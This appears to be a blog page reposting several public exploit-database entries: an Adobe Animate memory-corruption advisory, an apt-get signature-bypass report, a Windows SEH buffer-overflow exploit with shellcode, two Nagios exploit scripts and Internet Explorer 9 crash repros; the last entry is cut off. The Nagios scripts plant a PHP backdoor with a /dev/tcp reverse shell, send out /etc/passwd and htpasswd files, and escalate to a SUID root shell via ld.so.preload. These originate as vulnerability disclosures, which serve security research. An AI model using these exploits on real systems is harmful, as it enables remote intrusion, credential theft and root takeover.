Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863292513

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/ADOBE-ANIMATE-MEMORY-CORRUPTION-VULNERABILITY.txt

[+] ISR: ApparitionSec



Vendor:
=============
www.adobe.com



Product(s):
=============================
Adobe Animate
15.2.1.95 and earlier versions

Adobe Animate (formerly Adobe Flash Professional, Macromedia Flash, and
FutureSplash Animator) is a multimedia authoring and computer
animation program developed by Adobe Systems.



Platforms:
===================
Windows / Macintosh



Vulnerability Type:
=======================================
Critical Memory Corruption Vulnerability



CVE Reference:
==============
CVE-2016-7866
APSB16-38



Vulnerability Details:
=====================
Adobe Animate suffers from a Buffer Overflow when creating .FLA files with
ActionScript Classes that use overly long Class names.
This causes memory corruption leading to possible arbitrary code execution
upon opening a maliciously created .Fla Flash file.


Reproduction / POC:


1) Create FLA with overly long Class name in FLA Class publish properties
input field.
2) Save and close
3) Reopen FLA, click edit to open the .as script file
4) "ctrl + s" to save then boom.... access violation


Distributed:
Create new ".as" ActionScript 3 (AS3) file and give it very long class name
in input field then hit "Ctrl+s" to save..
you will crash IDE, next way described is ONE way how attackers can
distribute malicious .FLA

Abusing JSFL, The Flash JavaScript application programming interface
(JavaScript API or JSAPI).

1) Create following .JSFL file

fl.getDocumentDOM().save();
fl.getDocumentDOM().testMovie();

2)  Create a MovieClip stored in FLA library with a very long class name
that extends MovieClip and export
   it for ActionScript etc...


3) Drag the MovieClip to the stage


4) Bundle FLA/JSFL file, make avail for download as example on how to use
JSFL to call save() / publish() functions.


User opens .FLA, runs harmless looking JSFL code then BOOM!



Reference:
https://helpx.adobe.com/security/products/animate/apsb16-38.html




Disclosure Timeline:
=====================================
Vendor Notification: May 28, 2016
December 13, 2016  : Public Disclosure




Exploitation Technique:
=======================
Local




Severity Level:
================
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1020

== Vulnerability ==
When apt-get updates a repository that uses an InRelease file (clearsigned
Release files), this file is processed as follows:
First, the InRelease file is downloaded to disk.
In a subprocess running the gpgv helper, "apt-key verify" (with some more
arguments) is executed through the following callchain:

gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire
  -> GPGVMethod::VerifyGetSigners -> ExecGPGV

ExecGPGV() splits the clearsigned file into payload and signature using
SplitClearSignedFile(), calls apt-key on these two files to perform the
cryptographic signature verification, then discards the split files and only
retains the clearsigned original. SplitClearSignedFile() ignores leading and
trailing garbage.

Afterwards, in the parent process, the InRelease file has to be loaded again
so that its payload can be processed. At this point, the code
isn't aware anymore whether the Release file was clearsigned or
split-signed, so the file is opened using OpenMaybeClearSignedFile(), which
first attempts to parse the file as a clearsigned (InRelease) file and extract
the payload, then falls back to treating the file as the file as a split-signed
(Release) file if the file format couldn't be recognized.

The weakness here is: If an attacker can create an InRelease file that
is parsed as a proper split-signed file during signature validation, but then
isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was
ignored by the signature validation is interpreted as repository metadata,
bypassing the signing scheme.

It first looks as if it would be impossible to create a file that is recognized
as split-signed by ExecGPGV(), but isn't recognized by
OpenMaybeClearSignedFile(), because both use the same function,
SplitClearSignedFile(), for parsing the file. However, multiple executions of
SplitClearSignedFile() on the same data can actually have different non-error
results because of a bug.
SplitClearSignedFile() uses getline() to parse the input file. A return code
of -1, which signals that either EOF or an error occured, is always treated
as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as
possible error code, but because the function allocates (nearly) unbounded
amounts of memory, it can actually also fail with ENOMEM if it runs out of
memory.
Therefore, if an attacker can cause the address space in the main apt-get
process to be sufficiently constrained to prevent allocation of a large line
buffer while the address space of the gpgv helper process is less constrained
and permits the allocation of a buffer with the same size, the attacker can use
this to fake an end-of-file condition in SplitClearSignedFile() that causes the
file to be parsed as a normal Release file.

A very crude way to cause such a constraint on a 32-bit machine is based on
abusing ASLR. Because ASLR randomizes the address space after each execve(),
thereby altering how much contiguous virtual memory is available, an allocation
that attempts to use the average available virtual memory should ideally succeed
50% of the time, resulting in an upper limit of 25% for the success rate of the
whole attack. (That's not very effective, and a real attacker would likely want
a much higher success rate, but it works for a proof of concept.)
This is not necessarily a limitation of the vulnerability, just a limitation
of the way the exploit is designed.

I think that it would make sense to fix this as follows:
 - Set errno to 0 before calling getline(), verify that it's still 0 after
   returning -1, treat it as an error if errno isn't 0 anymore.
 - Consider splitting the InRelease file only once, before signature validation,
   and then deleting the original clearsigned file instead of the payload file.
   This would get rid of the weakness that the file is parsed twice and parsing
   differences can have security consequences, which is a pretty brittle design.
 - I'm not sure whether this bug would have been exploitable if the parser for
   split files or the parser for Release files had been stricter. You might want
   to consider whether you could harden this code that way.



== Reproduction instructions ==
These steps are probably more detailed than necessary.

First, prepare a clean Debian VM for the victim:

 - download debian-8.6.0-i386-netinst.iso (it is important that this
   is i386 and not amd64)
 - install Virtualbox (I'm using version 4.6.36 from Ubuntu)
 - create a new VM with the following properties:
  - type "Linux", version "Debian (32-bit)"
  - 8192 MB RAM (this probably doesn't matter much, especially
    if you enable swap)
  - create a new virtual harddrive, size 20GB (also doesn't matter much)
 - launch the VM, insert the CD
 - pick graphical install
 - in the installer, use defaults everywhere, apart from enabling Xfce
   in the software selection

After installation has finished, log in, launch a terminal,
"sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates
so that it points to some unused port on the host machine instead of
the proper mirror
("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so).
This simulates a MITM attack or compromised mirror.

On the host (as the attacker):


$ tar xvf apt_sig_bypass.tar 
apt_sig_bypass/
apt_sig_bypass/debian/
apt_sig_bypass/debian/netcat-evil.deb
apt_sig_bypass/debian/dists/
apt_sig_bypass/debian/dists/jessie-updates/
apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1
apt_sig_bypass/debian/dists/jessie-updates/main/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages
apt_sig_bypass/make_inrelease.py
$ cd apt_sig_bypass/
$ curl --output debian/dists/jessie-updates/InRelease.part2 http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  141k  100  141k    0     0   243k      0 --:--:-- --:--:-- --:--:--  243k
$ ./make_inrelease.py 
$ ls -lh debian/dists/jessie-updates/InRelease
-rw-r--r-- 1 user user 1.3G Dec  5 17:13 debian/dists/jessie-updates/InRelease
$ python -m SimpleHTTPServer 1337 .
Serving HTTP on 0.0.0.0 port 1337 ...


Now, in the VM, as root, run "apt-get update".
It will probably fail - run it again until it doesn't fail anymore.
The errors that can occur are "Clearsigned file isn't valid" (when the
allocation during gpg verification fails) and some message about
a hash mismatch (when both allocations succeed). After "apt-get update"
has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should
look like this (server IP censored, irrelevant output removed and marked with
"[...]"):

root@debian:/home/user# apt-get update
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
[...]
100% [1 InRelease gpgv 1,342 MB]                                                       28.6 MB/s 0sSplitting up /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease
E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease: Clearsigned file isn't valid, got 'NODATA' (does the network require authentication?)

root@debian:/home/user# apt-get update
[...]
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B]
[...]
Fetched 1,349 MB in 55s (24.4 MB/s)
Reading package lists... Done

root@debian:/home/user# apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  netcat-traditional
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 666 B of archives.
After this operation, 109 kB disk space will be freed.
Do you want to continue? [Y/n]
Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main netcat-traditional i386 9000 [666 B]
Fetched 666 B in 0s (0 B/s)
Reading changelogs... Done
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':
 missing description
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':
 missing maintainer
(Reading database ... 86469 files and directories currently installed.)
Preparing to unpack .../netcat-traditional_9000_i386.deb ...
arbitrary code execution reached
uid=0(root) gid=0(root) groups=0(root)
[...]

As you can see, if the attacker gets lucky with the ASLR randomization, there
are no security warnings and "apt-get upgrade" simply installs the malicious
version of the package. (The dpkg warnings are just because I created a minimal
package file, without some of the usual information.)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40916.zip
            
#!python
#####################################################################################
# Exploit title: MP3 converter v 2.6.18 License code SEH exploit
# Date: 2016-12-15
# Vendor homepage: http://www.nidesoft.com/mp3-converter.html
# Download: http://www.nidesoft.com/downloads/mp3-converter.exe
# Tested on: Win7 SP1
# Author: malwrforensics
# Details: Launch program and enter the license code in the "Register" window
#	   Copy&Paste the "license" from poc.txt
#####################################################################################

def write_poc(fname, buffer):
	fhandle = open(fname , 'wb')
	fhandle.write(buffer)
	fhandle.close()

fname="poc.txt"
buf = '\x41' * 0x176c

###################################
#msfvenom --payload windows/exec 
#cmd=calc.exe --platform windows 
#-f python -e x86/alpha_mixed
##################################
shellcode =  ""
shellcode += "\x89\xe0\xda\xdc\xd9\x70\xf4\x59\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
shellcode += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
shellcode += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
shellcode += "\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x58\x68\x4d\x52"
shellcode += "\x37\x70\x63\x30\x33\x30\x75\x30\x4b\x39\x59\x75\x45"
shellcode += "\x61\x79\x50\x70\x64\x4c\x4b\x42\x70\x36\x50\x4c\x4b"
shellcode += "\x42\x72\x66\x6c\x6e\x6b\x66\x32\x66\x74\x6c\x4b\x74"
shellcode += "\x32\x37\x58\x34\x4f\x4d\x67\x61\x5a\x45\x76\x75\x61"
shellcode += "\x69\x6f\x4e\x4c\x77\x4c\x43\x51\x63\x4c\x54\x42\x66"
shellcode += "\x4c\x75\x70\x39\x51\x48\x4f\x46\x6d\x67\x71\x4b\x77"
shellcode += "\x7a\x42\x48\x72\x63\x62\x30\x57\x6e\x6b\x51\x42\x74"
shellcode += "\x50\x4c\x4b\x61\x5a\x77\x4c\x6c\x4b\x52\x6c\x57\x61"
shellcode += "\x62\x58\x7a\x43\x53\x78\x45\x51\x68\x51\x43\x61\x4c"
shellcode += "\x4b\x72\x79\x55\x70\x56\x61\x38\x53\x4e\x6b\x67\x39"
shellcode += "\x46\x78\x5a\x43\x65\x6a\x37\x39\x4c\x4b\x36\x54\x6e"
shellcode += "\x6b\x57\x71\x7a\x76\x44\x71\x49\x6f\x6e\x4c\x6f\x31"
shellcode += "\x58\x4f\x36\x6d\x56\x61\x48\x47\x66\x58\x39\x70\x73"
shellcode += "\x45\x69\x66\x66\x63\x53\x4d\x5a\x58\x47\x4b\x53\x4d"
shellcode += "\x65\x74\x34\x35\x6d\x34\x70\x58\x6c\x4b\x61\x48\x35"
shellcode += "\x74\x53\x31\x69\x43\x65\x36\x4e\x6b\x74\x4c\x30\x4b"
shellcode += "\x4c\x4b\x46\x38\x67\x6c\x35\x51\x48\x53\x6e\x6b\x35"
shellcode += "\x54\x6e\x6b\x65\x51\x7a\x70\x4f\x79\x37\x34\x45\x74"
shellcode += "\x75\x74\x43\x6b\x33\x6b\x33\x51\x73\x69\x51\x4a\x36"
shellcode += "\x31\x6b\x4f\x39\x70\x51\x4f\x43\x6f\x73\x6a\x6e\x6b"
shellcode += "\x54\x52\x6a\x4b\x4e\x6d\x53\x6d\x51\x7a\x77\x71\x4c"
shellcode += "\x4d\x6c\x45\x4e\x52\x53\x30\x47\x70\x75\x50\x52\x70"
shellcode += "\x45\x38\x54\x71\x4e\x6b\x70\x6f\x6e\x67\x39\x6f\x58"
shellcode += "\x55\x4d\x6b\x4a\x50\x78\x35\x4d\x72\x36\x36\x43\x58"
shellcode += "\x79\x36\x7a\x35\x6f\x4d\x4d\x4d\x4b\x4f\x79\x45\x37"
shellcode += "\x4c\x77\x76\x51\x6c\x75\x5a\x6b\x30\x79\x6b\x49\x70"
shellcode += "\x62\x55\x37\x75\x6d\x6b\x61\x57\x35\x43\x74\x32\x52"
shellcode += "\x4f\x30\x6a\x55\x50\x31\x43\x4b\x4f\x69\x45\x32\x43"
shellcode += "\x43\x51\x32\x4c\x50\x63\x34\x6e\x61\x75\x62\x58\x50"
shellcode += "\x65\x67\x70\x41\x41"

junk = '\x41' * 0x1e
jmp = '\xeb\x20\x41\x41'
nseh = '\x37\x27\x78\x66' #pop pop ret -> avcodec.dll 
buffer = buf + jmp + nseh + junk + shellcode
write_poc(fname, buffer)
            
#!/usr/bin/env python

# Source: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

intro = """\033[94m
Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
CVE-2016-9565
nagios_cmd_injection.py ver. 1.0

Discovered & Coded by:

Dawid Golunski
https://legalhackers.com
\033[0m
"""
usage = """
This PoC exploit can allow well-positioned attackers to extract and write 
arbitrary files on the Nagios server which can lead to arbitrary code execution
on Nagios deployments that follow the official Nagios installation guidelines. 

For details, see the full advisory at:
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

PoC Video:
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

Follow https://twitter.com/dawid_golunski for updates on this advisory.

Remember you can turn the nagios shell into root shell via CVE-2016-9565:
https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html

Usage:

./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]

Disclaimer:
For testing purposes only. Do no harm.

"""

import os
import sys
import time
import re
import tornado.httpserver
import tornado.web
import tornado.ioloop

exploited  = 0 
docroot_rw = 0

class MainHandler(tornado.web.RequestHandler):

    def get(self):
	global exploited
	if (exploited == 1):
		self.finish()
	else:
		ua  = self.request.headers['User-Agent']
		if "Magpie" in ua:
			print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip
			print  '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n'
			self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)
			exploited = 1

    def post(self):        
        global docroot_rw
	print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip

	# Extract /etc/passwd from the target 
        passwd = self.request.files['passwd'][0]['body']
	print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd

	# Extract /usr/local/nagios/etc/htpasswd.users
        htauth = self.request.files['htauth'][0]['body']
	print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth

	# Extract nagios group from /etc/group
        group = self.request.files['group'][0]['body']
	for line in group.splitlines():
	    if "nagios:" in line:
		nagios_group = line
		print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group
	if "www-data" in nagios_group:
		print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n"
		docroot_rw = 1

	# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'
	# option. The output trace should contain  an unwrapped line similar to:
	# 
	# == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted
	#
	# which will do the trick as it won't mess up the payload :)
	self.add_header('Server', backdoor)

	# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)
	print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n"
	self.write(xmldata)

	self.finish()
	tornado.ioloop.IOLoop.instance().stop()


if __name__ == "__main__":
    global backdoor_path
    global backdoor

    print intro

    # Set attacker's external IP & port to be used by the reverse shell
    if len(sys.argv) < 2 :
	   print usage
	   sys.exit(2)
    attacker_ip   = sys.argv[1]
    if len(sys.argv) == 3 :
	   attacker_port = sys.argv[1]
    else:
	   attacker_port = 8080

    # PHP backdoor to be saved on the target Nagios server
    backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'
    backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port)

    # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script
    global xmldata
    xmldata = """<?xml version="1.0"?>
    <rss version="2.0">
          <channel>
            <title>Nagios feed with injected JS payload</title>
            <item>
              <title>Item 1</title>
              <description>

                <strong>Feed injected. Here we go </strong> - 
                loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) 

                <img src="/nagios/nagios-backdoor.php" onerror="alert('Reverse Shell /nagios/nagios-backdoor.php executed!')">

              </description>

            </item>

          </channel>
    </rss> """


    # Generate SSL cert
    print "[+] Generating SSL certificate for our python HTTPS web server \n"
    os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req  -nodes -new -x509  -keyout server.key -out server.cert 2>/dev/null")

    print "[+] Starting the web server on ports 80 & 443 \n"
    application = tornado.web.Application([
        (r'/.*', MainHandler)
    ])
    application.listen(80)
    http_server = tornado.httpserver.HTTPServer(
        application, 
        ssl_options = {
            "certfile": os.path.join("./", "server.cert"),
            "keyfile": os.path.join("./", "server.key"),
        }
    )
    http_server.listen(443)

    print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n"
    tornado.ioloop.IOLoop.current().start()

    if (docroot_rw == 1):
	    print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path
	    print "[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\n"
	    os.system("nc -v -l -p 8080")
	    print "\n[+] Shell closed\n"

    print "[+] That's all. Exiting\n"
            
#!/bin/bash
#
# Source: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# Nagios Core < 4.2.4  Root Privilege Escalation PoC Exploit
# nagios-root-privesc.sh (ver. 1.0)
#
# CVE-2016-9566
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory
#
#
# [Info]
#
# This PoC exploit allows privilege escalation from 'nagios' system account, 
# or an account belonging to 'nagios' group, to root (root shell).
# Attackers could obtain such an account via exploiting another vulnerability,
# e.g. CVE-2016-9565 linked below.
#
# [Exploit usage]
#
# ./nagios-root-privesc.sh path_to_nagios.log 
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# Video PoC:
# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# CVE-2016-9565:
# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nagiosrootsh"
PRIVESCLIB="/tmp/nagios_privesc_lib.so"
PRIVESCSRC="/tmp/nagios_privesc_lib.c"
SUIDBIN="/usr/bin/sudo"
commandfile='/usr/local/nagios/var/rw/nagios.cmd'

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0
}

#intro 

echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q nagios
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n"
	exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f "$ERRORLOG" ]; then
	echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n"
	echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n"
	exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	exit 2
fi

# Symlink the Nagios log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

{
# Wait for Nagios to get restarted
echo -ne "\n[+] Waiting for Nagios service to get restarted...\n"
echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
	/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile
fi
sleep 3s
ps aux | grep -v grep | grep -i 'bin/nagios'
if [ $? -ne 0 ]; then
	echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n"
fi
while :; do 
	sleep 1 2>/dev/null
	if [ -f /etc/ld.so.preload ]; then
		rm -f $ERRORLOG
		break;
	fi
done

echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`"

# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:
# -rw-r--r-- 1 nagios nagios 
# Only 'nagios' user can write to it, but 'nagios' group can not.
# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.
# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe
# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will
# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)

sleep 3s 	# Wait for Nagios to create the nagios.cmd pipe
if [ ! -p $commandfile ]; then
	echo -e "\n[!] Nagios command pipe $commandfile does not exist!"
	exit 2
fi	
echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload"
now=`date +%s`
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile
sleep 1s
grep -q "$PRIVESCLIB" /etc/ld.so.preload
if [ $? -eq 0 ]; then 
	echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`"
else
	echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload"
	exit 2
fi

} 2>/dev/null

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mGot root via Nagios!\033[0m"
else
	echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`"
	cleanexit 2
fi

# Use the rootshell to perform cleanup that requires root privileges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
rm -f $ERRORLOG
echo > $ERRORLOG

# Execute the rootshell
echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0
            
<!--

Source: http://blog.skylined.nl/20161213001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. During a method call, the this object can be freed and then continues to be used by the code that implements the method. It appears that there is little to no time for an attacker to attempt to control the contents of the freed memory before the re-use, which would allow remote code execution.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Repro.html:
-->

<!DOCTYPE>
<script defer>
  document.design­Mode = "on";
</script>
<q dir="ltr">
<ruby dir="rtl">

<!--
Details

By switching the a document's design­Mode property to on in a deferred script, MSIE 9 can be made to reload a web page using CMarkup::Reload­In­Compat­View. This method calls CDoc::Compat­View­Refresh, which indirectly calls CScript­Collection::~CScript­Collection, which releases the CMarkup object used as this in CMarkup::Reload­In­Compat­View. The relevant stack for the freeing of this CMarkup object is:

    76e8c484 kernel32!Heap­Free+0x00000014
    6780c4d8 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
    6776fb9b MSHTML!CScript­Collection::~CScript­Collection+0x00000152
    67816a0d MSHTML!CScript­Collection::Release+0x00000053
    6751f7e7 MSHTML!CWindow::Super­Navigate­Internal+0x000004c4
    675209f7 MSHTML!CWindow::Super­Navigate2With­Bind­Flags+0x00000032
    679b05f8 MSHTML!CDoc::Compat­View­Refresh+0x000000a0
    679c00d4 MSHTML!CMarkup::Reload­In­Compat­View+0x0000021f

Immediately after returning to CMarkup::Reload­In­Compat­View, the code will use the (now freed) CMarkup object. When page heap is enabled, this lead to an immediate access violation.

Exploit

I did not immediately find a way to control the freed memory before the reuse following the CDoc::Compat­View­Refresh call. I did not immediately find other locations in the code where the same stale pointer to the CMarkup object is used after it has been freed. It may not be possible to exploit this use-after-free, as there does not appear to be an easy window of opportunity to modify the freed memory before its reuse.

However, when loading the repro in MSIE with page heap disabled, I do see crashes from time to time, but in different locations in the code. This indicates that one or more of the following should be true:

There are ways to modify the freed CMarkup object before it is reused.
There are other locations where the freed CMarkup object is used after it has been freed, and the freed CMarkup object can be modified before this happens.
There could be other stale pointers to freed memory that get reused, and there are ways to modify the freed memory they point to before that reuse.
As these other crash stacks do not include CMarkup::Reload­In­Compat­View, it seems most likely that they are caused by the second or third option, which could indicate that the bug is in fact exploitable.

Time-line

5 May 2014: This vulnerability was found through fuzzing.
14 May 2014: This vulnerability was submitted to ZDI.
3 July 2014: This vulnerability was rejected by ZDI.
9 July 2014: This vulnerability was submitted to EIP.
July/August 2014: This vulnerability was rejected by EIP.
13 August 2014: This vulnerability was submitted to i­Defense.
Date unknown: This issue was withdrawn from i­Defense.
Date unknown: This vulnerability was address by Microsoft.
13 December 2016: Details of this vulnerability are released.
-->
            
<!--

Source: http://blog.skylined.nl/20161214001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

